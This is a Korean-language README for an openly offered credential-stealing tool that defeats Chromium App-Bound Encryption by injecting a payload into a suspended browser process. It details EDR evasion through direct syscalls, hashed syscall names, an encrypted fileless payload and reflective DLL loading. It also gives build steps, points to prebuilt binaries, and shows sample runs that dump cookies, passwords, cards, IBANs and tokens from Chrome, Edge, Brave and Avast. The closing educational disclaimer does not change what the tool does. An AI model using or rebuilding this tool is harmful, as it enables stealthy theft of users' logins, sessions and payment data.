
직접적인 Syscall 기반 Reflective Process Hollowing을 통해 Chromium의 App-Bound Encryption을 우회합니다. Chrome, Edge, Brave 및 Avast에서 쿠키, 비밀번호, 결제 수단 및 토큰을 추출합니다 - 파일리스(fileless), 사용자 모드(user-mode), 관리자 권한 불필요.
Chrome App-Bound Encryption Decryption)Chromium의 **App-Bound Encryption(ABE)**을 완전히 인메모리로 우회하는 것을 입증하는 사후 침투 도구입니다. 이 프로젝트는 Direct Syscall 기반 Reflective Process Hollowing을 활용하여 정상적인 브라우저 프로세스를 일시 중단된 상태로 실행하고, 그 정체성과 보안 컨텍스트를 가로채기 위해 페이로드를 은밀하게 주입합니다. 이 Living-off-the-Land(LOTL) 기법은 브라우저 자체의 보안 모델을 무력화합니다. 파일리스 방식 덕분에 이 도구는 메모리에서만 완전히 작동하며, 사용자 영역 API 후킹을 우회하여 최신 Chromium 브라우저에서 민감한 사용자 데이터(쿠키, 비밀번호, 결제 정보)를 복호화하고 유출할 수 있습니다.
이 연구가 가치 있다고 생각하신다면 커피 한 잔을 사주시면 감사하겠습니다:
이 도구의 효과는 현대적이고 회피에 초점을 맞춘 기법들의 조합에서 비롯됩니다:
Direct Syscall 기반 회피: 표준 WinAPI 함수에 대한 EDR/AV 사용자 영역 후킹을 우회하기 위해 커널 함수를 직접 호출합니다. 엔진은 Hell's Gate 기법과 해시 기반 함수 매칭을 사용하여 런타임에 syscall 번호를 동적으로 해석합니다(바이너리에 평문 syscall 이름이 없음).
Direct Syscall 기반 프로세스 할로잉: 은밀한 프로세스 생성 및 주입 기법입니다. 트래픽이 많고 감시 가능성이 높은 프로세스에 주입하는 대신, 일시 중단된 상태의 새 호스트 프로세스를 생성합니다. 모든 메모리 조작이 프로세스가 정상적으로 실행되기 전에 발생하므로 탐지 가능성이 크게 줄어듭니다.
파일리스 인메모리 페이로드: 페이로드 DLL은 대상 머신의 디스크에 기록되지 않습니다. 컴파일 타임 파생 키를 사용하는 ChaCha20 암호화 컴파일 타임 바이트 배열로 내장되어, 메모리에서 복호화된 후 리플렉티브하게 로드되어 포렌식 발자국을 최소화하고 정적 파일 기반 스캐너를 우회합니다.
Reflective DLL Injection(RDI): LoadLibrary를 사용하지 않고 메인 페이로드를 주입하는 은밀한 프로세스 주입 방법으로, 모듈 로드를 모니터링하는 탐지 메커니즘을 회피합니다. 자체 포함형 부트스트랩 로더는 PE 섹션을 매핑하고, 리로케이션을 수행하며, 메모리에서 임포트를 해석합니다.
대상 컨텍스트 COM 호출: App-Bound Encryption을 무력화하는 핵심 요소입니다. 신뢰할 수 있는 브라우저 프로세스 내부에서 코드를 실행함으로써 해당 프로세스의 정체성과 보안 컨텍스트를 상속받아, ABE COM 서버에 정당한 호출처럼 보이는 요청을 보내고 경로 검증 보안 검사를 통과할 수 있습니다.
Nt*/Zw* 함수 이름 없음 — 컴파일 타임 DJB2 해시 사용.LoadLibrary 호출 없이 페이로드를 은밀하게 로드.--kill 플래그 제공.
참고: Chrome/Brave/Edge 144+는 새로운
IElevator2COM 인터페이스를 사용합니다. 이 도구는 가능한 경우IElevator2를 자동으로 사용하고, 이전 버전에서는IElevator로 대체합니다. Avast Secure Browser는 확장된 vtable(12개 메서드, 오프셋 104의 DecryptData)을 가진 사용자 지정IElevatorChrome인터페이스를 사용합니다.
이 매트릭스는 지원되는 각 브라우저의 추출 기능을 설명합니다.
이 도구의 실행은 은밀성과 효율성에 중점을 두며, Direct Syscall 기반 Reflective Hollowing 프로세스를 중심으로 구축되었습니다. 이 접근 방식은 상위 수준 API 호출을 거의 수행하지 않고, 페이로드가 정상적이고 새로 생성된 브라우저 프로세스 내에서 작동하도록 보장합니다.
chromelevator.exe)ntdll.dll을 동적으로 파싱하고, 해시 기반 매칭을 사용하여 syscall 번호(SSN)를 해석하고 커널 전환 가젯(syscall/ret 또는 svc/ret)을 찾습니다. --kill 플래그가 지정된 경우 NtGetNextProcess 및 NtTerminateProcess syscall을 사용하여 대상 브라우저의 실행 중인 모든 인스턴스를 종료하고 SQLite 데이터베이스의 파일 잠금을 해제합니다.CreateProcessW를 사용하여 CREATE_SUSPENDED 상태로 대상 브라우저의 새 인스턴스를 생성합니다. 이 깨끗하고 일시 중단된 프로세스가 페이로드의 호스트 역할을 합니다.NtAllocateVirtualMemory(직접 syscall)를 사용하여 메모리를 할당합니다.NtWriteVirtualMemory로 할당된 공간에 복호화된 페이로드 DLL을 기록합니다.NtProtectVirtualMemory(직접 syscall)를 사용하여 메모리 영역의 권한을 실행 가능으로 변경합니다.Bootstrap reflective 로더가 실행되어 향상된 은밀성을 갖춘 사용자 정의 인메모리 PE 로더 역할을 합니다:
NtAllocateVirtualMemory에 대한 직접 syscall을 사용하여 페이로드를 위한 새 메모리를 할당합니다(후킹된 VirtualAlloc 우회).NtProtectVirtualMemory를 사용하여 섹션 권한을 설정합니다.DllMain을 호출합니다.DllMain은 새 스레드를 생성하고 즉시 인젝터가 전달한 명명된 파이프 핸들에 연결합니다. 인젝터가 보낸 출력 경로를 포함한 구성을 읽습니다. 이후의 모든 로그와 상태 업데이트는 이 파이프를 통해 다시 전달됩니다.IElevator2, 이전 버전의 경우 IElevator, Edge의 경우 IEdgeElevatorFinal, Avast Secure Browser의 경우 IAvastElevator)를 인스턴스화합니다. 호출이 신뢰할 수 있는 프로세스 경로에서 발생하므로 서버의 모든 보안 검사가 통과됩니다.이 프로젝트는 모든 컴파일 및 페이로드 임베딩을 자동으로 처리하는 간단하고 견고한 빌드 스크립트를 사용합니다.
이 저장소를 클론합니다.
VS용 개발자 명령 프롬프트(또는 MSVC를 지원하는 모든 셸)를 엽니다.
프로젝트 루트에서 빌드 스크립트 make.bat를 실행합니다.
빌드 옵션:
make.bat - 전체 빌드(기본값)make.bat clean - 모든 빌드 산출물 제거make.bat build_encryptor_only - 암호화 도구만 빌드(CI에서 사용)make.bat build_target_only - 페이로드 및 인젝터 빌드(CI에서 사용)이 프로젝트는 GitHub Actions를 사용하여 x64 및 ARM64 아키텍처 모두에 대한 인젝터 실행 파일(chromelevator.exe)을 자동으로 빌드합니다.
최신 사전 컴파일 바이너리는 Releases 페이지에서 찾을 수 있습니다. 두 아키텍처의 실행 파일은 단일하고 편리한 .zip 파일로 함께 패키징됩니다.
릴리스 패키지 내용:
chromelevator_x64.exechromelevator_arm64.exePS> .\chromelevator.exe --help
_________ .__ . __
_ ___ | | ____ _____ _ /| | _______ _______ / | ___________
/ \ /| | _ __ / _ \ / \ | ) | | / __ \ / /_ \ / _ _ __
\ _| Y \ | ( <> ) Y Y | | |\ /\ / / __ | | ( <> ) | /
_ /| /| _/|__|| /_______ /|/___ >_/ ( /| __/|__|
/ / / / / /
Direct Syscall-Based Reflective Hollowing
x64 & ARM64 | v0.20.0 by @xaitax
Usage: chromelevator.exe [options] <chrome|chrome-beta|edge|brave|avast|all>
Options: -v, --verbose Show detailed output -f, --fingerprint Extract browser fingerprint -k, --kill Kill all browser processes before extraction -o, --output-path Custom output directory
### 옵션
- `--output-path <path>` 또는 `-o <path>`
출력 파일의 기본 디렉터리를 지정합니다.
기본값은 인젝터(injector) 위치 기준 `.\output\`입니다.
데이터는 `<path>/<BrowserName>/<ProfileName>/` 하위 폴더로 구성됩니다.
- `--verbose` 또는 `-v`
인젝터의 상세 디버깅 출력을 활성화합니다.
- `--fingerprint` 또는 `-f`
버전, 확장 프로그램, 보안 설정, 시스템 정보를 포함한 포괄적인 브라우저 핑거프린팅 데이터를 추출합니다.
결과는 브라우저의 출력 디렉터리에 `fingerprint.json`으로 저장됩니다.
- `--kill` 또는 `-k`
추출 전에 모든 브라우저 프로세스를 종료합니다. 대상 브라우저의 실행 중인 모든 인스턴스를 종료하기 위해 직접 시스템 호출(`NtTerminateProcess`)을 사용합니다. 이는 브라우저가 실행 중이거나 데이터베이스 파일에 대한 잠금을 보유하여 도구가 쿠키나 다른 암호화된 데이터에 접근하지 못하는 경우 유용합니다.
- `--help` 또는 `-h`
도움말 메시지를 표시합니다.
### 일반 실행(Normal Run)
###```bash
PS> .\chromelevator.exe all
_________ .__ ___________.__ __
\_ ___ \| |_________ ____ _____ \_ _____/| | _______ _______ _/ |_ ___________
/ \ \/| | \_ __ \/ _ \ / \ | __)_ | | _/ __ \ \/ /\__ \\ __\/ _ \_ __ \
\ \___| Y \ | \( <_> ) Y Y \| \| |_\ ___/\ / / __ \| | ( <_> ) | \/
\______ /___| /__| \____/|__|_| /_______ /|____/\___ >\_/ (____ /__| \____/|__|
\/ \/ \/ \/ \/ \/
Direct Syscall-Based Reflective Hollowing
x64 & ARM64 | v0.20.0 by @xaitax
┌──── Brave (143.1.85.120) ──────────────────────
│
│ Decryption Key
│ 2522A3C1730EA8EE84BAAD1994DB31E20437D9DCF27628997598BB5B86F73DCD
│
├── Default
│ Cookies 3312
│ Passwords 55
│ Cards 1
│ IBANs 1
│
└── 3312 cookies, 55 passwords, 1 cards, 1 IBANs (1 profile)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Brave
┌──── Chrome (143.0.7499.193) ───────────────────
│
│ Decryption Key
│ 3FA14DC988A34C85BDB872159B739634CB7E56F8E34449C1494297B9B629D094
│
├── Default
│ Cookies 380
│ Passwords 1
│
├── Profile 1
│ Cookies 932
│ Passwords 791
│ Cards 1
│ IBANs 1
│ Tokens 2
│
└── 1312 cookies, 792 passwords, 1 cards, 1 IBANs, 2 tokens (2 profiles)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome
┌──── Chrome Beta (144.0.7559.59) ───────────────
│
│ Decryption Key
│ C147F0657D7AD5881F16CC0A2994E41A18A7B5F567B8CF81C7F87227ABB4F1B7
│
├── Default
│ Cookies 224
│
└── 224 cookies (1 profile)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome Beta
┌──── Edge (144.0.3719.67) ──────────────────────
│
│ Decryption Key
│ B0334FAD7F5805362CB4C44B144A95AB7A68F7346EF99EB3F175F09DB08C8FD9
│
├── Default
│ Cookies 226
│ Passwords 2
│ Cards 1
│
├── Profile 1
│ Cookies 25
│
└── 251 cookies, 2 passwords, 1 cards (2 profiles)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Edge
PS> .\chromelevator.exe -v -f chrome
_________ .__ . __
_ ___ | | ____ _____ _ /| | _______ _______ / | ___________
/ \ /| | _ __ / _ \ / \ | ) | | / __ \ / /_ \ / _ _ __
\ _| Y \ | ( <> ) Y Y | | |\ /\ / / __ | | ( <> ) | /
_ /| /| _/|__|| /_______ /|/___ >_/ ( /| __/|__|
/ / / / / /
Direct Syscall-Based Reflective Hollowing
x64 & ARM64 | v0.20.0 by @xaitax
┌──── Chrome (143.0.7499.193) ─────────────────── │ Creating suspended process: C:\Program Files\Google\Chrome\Application\chrome.exe │ [+] Process created (PID: 26560) │ [+] IPC pipe established: \.\pipe\chrome.nacl.49645_5F55 │ Deriving runtime decryption keys... │ [+] Payload decrypted (1073 KB) │ [+] Bootstrap entry point resolved (offset: 0x2ae70) │ Allocating memory in target process via syscall... │ [+] Memory allocated at 0x268e2d90000 (1076 KB) │ [+] Payload + parameters written │ [+] Memory protection set to PAGE_EXECUTE_READ │ Creating remote thread via syscall... │ [+] Thread created (entry: 0x268e2dbae70) │ Awaiting payload connection... │ [+] Payload connected │ Running in Chrome │ │ Decryption Key │ 3FA14DC988A34C85BDB872159B739634CB7E56F8E34449C1494297B9B629D094 │ ├── Default │ Size 14 MB │ Cookies 380 │ Passwords 1 │ ├── Profile 1 │ Size 491 MB │ Cookies 932 │ Passwords 791 │ Cards 1 │ IBANs 1 │ Tokens 2 │ Extracting comprehensive fingerprint... │ Fingerprint saved to fingerprint.json │ └── 1312 cookies, 792 passwords, 1 cards, 1 IBANs, 2 tokens (2 profiles) C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome
## 📂 데이터 추출
복호화가 완료되면 데이터는 지정된 출력 경로(`--output-path`로 지정하지 않은 경우 기본값 `.\output\`)에 저장됩니다. 파일은 다음과 같이 구성됩니다.
**기본 경로:** `YOUR_CHOSEN_PATH` (예: `.\output\` 또는 사용자가 지정한 경로)
**구조:** <Base Path>/<BrowserName>/<ProfileName>/<data_type>.json
예시 경로(기본 출력 위치 가정):
- 🍪 **쿠키(Chrome 기본 프로필):** .\output\Chrome\Default\cookies.json
- 🔑 **비밀번호(Edge 프로필 1):** .\output\Edge\Profile 1\passwords.json
- 💳 **결제 수단(Brave 기본 프로필):** .\output\Brave\Default\payments.json
- 🏦 **IBAN(Chrome 프로필 1):** .\output\Chrome\Profile 1\iban.json
### 🍪 쿠키 추출
각 쿠키 파일은 객체의 JSON 배열입니다:```json
[
{
"host": "accounts.google.com",
"name": "ACCOUNT_CHOOSER",
"path": "/",
"expires": 1766591611,
"value": "AFx_qI781-…"
},
{
"host": "mail.google.com",
"name": "OSID",
"path": "/mail",
"expires": 1766591611,
"value": "g.a000uwj5ufIS…"
},
…
]
각 비밀번호 파일은 객체의 JSON 배열입니다:```json [ { "url": "https://example.com/login", "user": "[email protected]", "pass": "••••••••••" }, … ]
### 💳 결제 수단 추출
각 결제 파일은 JSON 객체 배열입니다:
``````json
[
{
"name": "John Doe",
"month": 12,
"year": 2030,
"number": "••••••••••1234",
"cvc": "•••"
},
…
]
각 IBAN 파일은 JSON 객체 배열입니다:```json [ { "nickname": "UK Test", "iban": "GB33BUKB20201555555555" } ]
### 🎟️ 토큰 추출
각 토큰 파일은 서비스, 복호화된 토큰, 그리고 (있는 경우) 바인딩 키를 포함하는 객체들의 JSON 배열입니다:```json
[
{
"service": "AccountId-112823413702122221871",
"token": "1//03VJGN_vL2FR5CgYIARAAGAMSNwF-L9IrtiyH_tmtOneETFya5GEGiewlEMrLwDMuOl56zRoShNE77DfyOXhofn5Ryo_...",
"binding_key": ""
}
]
--fingerprint 또는 -f 플래그를 사용하면 포괄적인 메타데이터 보고서가 생성됩니다:```json
{
"browser": "Chrome",
"executable_path": "C:\Program Files\Google\Chrome\Application\chrome.exe",
"browser_version": "143.0.7499.170",
"user_data_path": "C:\Users\username\AppData\Local\Google\Chrome\User Data",
"sync_enabled": false,
"enterprise_managed": true,
"update_channel": "stable",
"hardware_acceleration": false,
"metrics_enabled": false,
"autofill_enabled": true,
"password_manager_enabled": false,
"safe_browsing_enabled": true,
"do_not_track": false,
"third_party_cookies_blocked": false,
"translate_enabled": true,
"installed_extensions_count": 2,
"extension_ids": ["ghbmnnjooekpmoecnnnilnnbdlolhkhi", "nmmhkkegccagdldgiimedpiccmgmieda"],
"profile_count": 2,
"computer_name": "DESKTOP-ABC123",
"windows_user": "username",
"os_version": "10.0.26220",
"architecture": "ARM64",
"last_config_update": 1766578854,
"extraction_timestamp": 1766591611,
"extraction_complete": true
}
이 데이터는 브라우저의 구성, 보안 상태 및 시스템 컨텍스트에 대한 인텔리전스를 제공합니다.
## 📚 심층 기술 분석 및 연구
Chrome의 App-Bound Encryption(ABE) 구현의 복잡성, 이 도구 접근 방식의 세부 메커니즘, 그리고 관련 보안 벡터에 대한 광범위한 논의를 종합적으로 이해하려면 제 상세 연구 문서를 참조하십시오:
1. ➡️ **[Chrome App-Bound Encryption (ABE) - 기술 심층 분석 및 연구 노트](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/docs/RESEARCH.md)**
이 문서는 다음을 다룹니다:
- DPAPI에서 ABE로의 진화.
- `IElevator`/`IElevator2` COM 상호 작용 및 키 래핑을 포함한 ABE 메커니즘의 단계별 분석.
- 이 도구가 사용하는 DLL 인젝션 전략의 상세 방법론.
- 암호화된 데이터 구조 분석 및 관련 Chromium 소스 코드 인사이트.
- 대체 복호화 벡터와 Chrome의 진화하는 방어 체계에 대한 논의.
2. ➡️ **[괴팍한 COM에 관한 흥미로운 사례: Microsoft Edge의 App-Bound Encryption 복호화](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/docs/The_Curious_Case_of_the_Cantankerous_COM_Decrypting_Microsoft_Edge_ABE.md)**
이 문서는 Microsoft Edge에 대한 안정적인 ABE 복호화를 달성하기 위해 수행된 구체적인 도전 과제와 리버스 엔지니어링 여정을 자세히 설명합니다. 내용은 다음과 같습니다:
- 초기 문제와 오해를 불러일으키는 오류 코드(`E_INVALIDARG`, `E_NOINTERFACE`)에 대한 설명.
- COM 타입 라이브러리 인트로스펙션(Python `comtypes` 사용)을 통해 Edge 고유의 `IElevatorEdge` vtable 구조와 상속을 밝혀내는 과정.
- 이러한 인사이트가 Edge의 ABE 서비스와의 성공적인 상호 작용을 위한 맞춤형 C++ 인터페이스 스텁으로 이어진 방법.
- 까다로운 COM 상호 운용성 문제 디버깅에 대한 실용적인 접근법.
3. ➡️ **[엘리베이터의 업그레이드: Chrome 144, IElevator2 그리고 Mojo의 새로운 지평](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/docs/The_Elevator_Gets_an_Upgrade_Chrome_144_IElevator2_and_the_Mojo_Horizon.md)**
이 문서는 Chrome 144의 새로운 `IElevator2` COM 인터페이스와 이것이 ABE에 의미하는 바를 다룹니다:
- Chrome 143의 `IElevator` 인터페이스와 Chrome 144의 `IElevator2` 인터페이스 간의 기술적 비교.
- 두 개의 새로운 메서드(`RunIsolatedChrome`, `AcceptInvitation`)에 대한 분석과 Chromium이 계획한 Mojo IPC 마이그레이션과의 연관성.
- 이전 버전과의 호환성 유지를 보여주는 VTable 레이아웃 비교.
- Edge 144의 `IElevator2` 및 새로운 Copilot 인터페이스 부분 채택.
- Mojo 마이그레이션이 ABE 보안에 대해 무엇을 변경하는지(그리고 변경하지 않는지)에 대한 솔직한 평가.
4. ➡️ **[COMrade ABE: App-Bound Encryption의 COM 이면을 위한 필드 매뉴얼](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/docs/COMrade_ABE_Field_Manual.md)**
이 필드 매뉴얼은 ABE COM 인터페이스용 Python 기반 동적 분석기인 **COMrade ABE**를 소개하고 그 실용적인 응용 분야를 심층적으로 다룹니다:
- 브라우저의 변형과 업데이트로 인해 동적 COM 인터페이스 분석이 필요한 이유를 설명합니다.
- COMrade ABE의 방법론을 자세히 설명합니다: 서비스 검색을 위한 레지스트리 스캔, 타입 라이브러리 로딩 및 파싱, 휴리스틱 기반 ABE 메서드 시그니처 매칭.
- CLSID, IID(표준 및 C++ 스타일)를 포함한 COMrade ABE 출력 해석에 대한 종합적인 가이드를 제공하며, VTable 오프셋, 정의 인터페이스, 전체 상속 체인과 같은 상세 출력 항목의 중요성을 설명합니다.
- 신속한 개발과 연구를 위한 자동 생성 C++ 스텁(`--output-cpp-stub`)의 유용성을 강조합니다.
- COMrade ABE가 ABE 변경 사항에 적응하고, 새로운 Chromium 브라우저를 분석하며, 벤더별 COM 커스터마이제이션을 이해하는 데 어떻게 도움이 되는지 논의합니다.
## 🔗 추가 리소스 및 연구
이 프로젝트는 광범위한 보안 커뮤니티의 연구와 분석을 기반으로 합니다.
- **공식 문서 및 발표:**
- [Google 보안 블로그: Windows에서 Chrome 쿠키의 보안 개선](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html)
- [설계 문서: Chrome 앱 바인딩 암호화 서비스](https://drive.google.com/file/d/1xMXmA0UJifXoTHjHWtVir2rb94OsxXAI/view)
- **커뮤니티 연구 및 감사:**
- [snovvcrash](https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824)의 개념 증명
## 🗒️ 변경 로그
이 프로젝트의 모든 주요 변경 사항은 [**CHANGELOG**](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/CHANGELOG.md) 파일에 문서화되어 있습니다. 여기에는 버전 기록, 새로운 기능, 버그 수정 및 보안 개선 사항이 포함됩니다.
## 📜 라이선스
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 [LICENSE](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/LICENSE) 파일을 참조하십시오.
## 💡 프로젝트 철학 및 면책 조항
> [!IMPORTANT]
> 이것은 교육 및 보안 연구 목적으로 만들어진 취미 프로젝트입니다. 개인 학습 경험이자 고급 Windows 개념을 탐구하는 놀이터 역할을 합니다.
>
> **이 도구는 완전한 기능을 갖춘 인포스틸러 또는 보장된 EDR 우회 도구로 의도된 것이 아닙니다.** 고급 기술을 사용하지만, 주요 목표는 ABE 메커니즘을 시연하고 분석하는 것이지 악의적인 사용을 위한 운영상의 은밀성을 제공하는 것이 아닙니다. 관련된 모든 법적 및 윤리적 지침을 준수하시기 바랍니다.
| 브라우저 | 테스트된 버전 (x64 & ARM64) |
|---|
| Google Chrome | 144.0.7559.133 |
| Google Chrome Beta | 145.0.7632.18 |
| Brave | 1.86.148 (144.1.86.148) |
| Microsoft Edge | 145.0.3800.36 |
| Avast Secure Browser | 143.0.33371.147 |
| 기능 | Google Chrome | Microsoft Edge | Brave | Avast Secure Browser |
|---|
| 쿠키 | ✅ ABE | ✅ ABE | ✅ ABE | ✅ ABE |
| 비밀번호 | ✅ ABE | ✅ ABE | ✅ ABE | ✅ ABE |
| 결제 수단 | ✅ ABE | ✅ ABE | ✅ ABE | ✅ ABE |
| IBAN | ✅ ABE | ❌ N/A | ✅ ABE | ✅ ABE |
| 인증 토큰 | ❌ N/A | ❌ N/A | ❌ N/A |
NtCreateThreadEx를 사용하여 대상 프로세스에 새 스레드가 생성됩니다. 스레드 시작 주소는 페이로드의 Bootstrap 내보내기를 직접 가리키며, 인자로 원격 파이프 이름의 주소가 전달됩니다. 브라우저의 원래 메인 스레드는 일시 중단된 상태로 유지되며 다시 실행되지 않습니다. 그런 다음 인젝터는 페이로드가 파이프로 다시 연결될 때까지 대기합니다.Local Stateapp_bound_encrypted_keyDecryptDataDefault, Profile 1 등)을 열거합니다. 각 프로필에 대해 관련 SQLite 데이터베이스(Cookies, Login Data, Web Data)를 쿼리하고 AES-256-GCM을 사용하여 데이터 블롭을 복호화한 후 비밀을 JSON으로 형식화합니다. 결과는 인젝터가 지정한 출력 디렉터리에 직접 기록됩니다.FreeLibraryAndExitThread를 호출하여 정리합니다. 인젝터는 신호를 수신하면 NtTerminateProcess로 부모 호스트 프로세스를 종료합니다.